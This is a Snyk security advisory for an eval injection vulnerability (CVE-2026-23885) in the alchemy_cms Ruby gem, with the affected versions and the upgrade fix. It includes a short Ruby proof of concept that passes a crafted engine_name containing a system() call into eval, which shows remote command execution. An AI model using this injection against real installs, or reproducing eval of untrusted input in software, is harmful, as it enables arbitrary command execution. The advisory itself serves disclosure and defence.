Eval Injection Affecting alchemy_cms package, versions <7.4.12>=8.0.0.a, <8.0.3


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.02% (7th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Eval Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-RUBY-ALCHEMYCMS-15037183
  • published20 Jan 2026
  • disclosed19 Jan 2026
  • creditSardor Shoakbarov

Introduced: 19 Jan 2026

CVE-2026-23885  (opens in a new tab)
CWE-95  (opens in a new tab)

How to fix?

Upgrade alchemy_cms to version 7.4.12, 8.0.3 or higher.

Overview

Affected versions of this package are vulnerable to Eval Injection via the resource_url_proxy function. An attacker can execute arbitrary system commands by supplying crafted input to the engine_name attribute, which is evaluated within the application context.

PoC

require 'ostruct'

def resource_url_proxy(resource_handler)
  if resource_handler.engine_name && !resource_handler.engine_name.empty?
    eval(resource_handler.engine_name)
  end
end

# Payload to create a file in /tmp directory
payload = "system('touch /tmp/alchemy_rce_verified'); 'main_app'"
handler = OpenStruct.new(engine_name: payload)

resource_url_proxy(handler)

if File.exist?('/tmp/alchemy_rce_verified')
  puts "RCE Verified: Command executed successfully."
end

CVSS Base Scores

version 4.0
version 3.1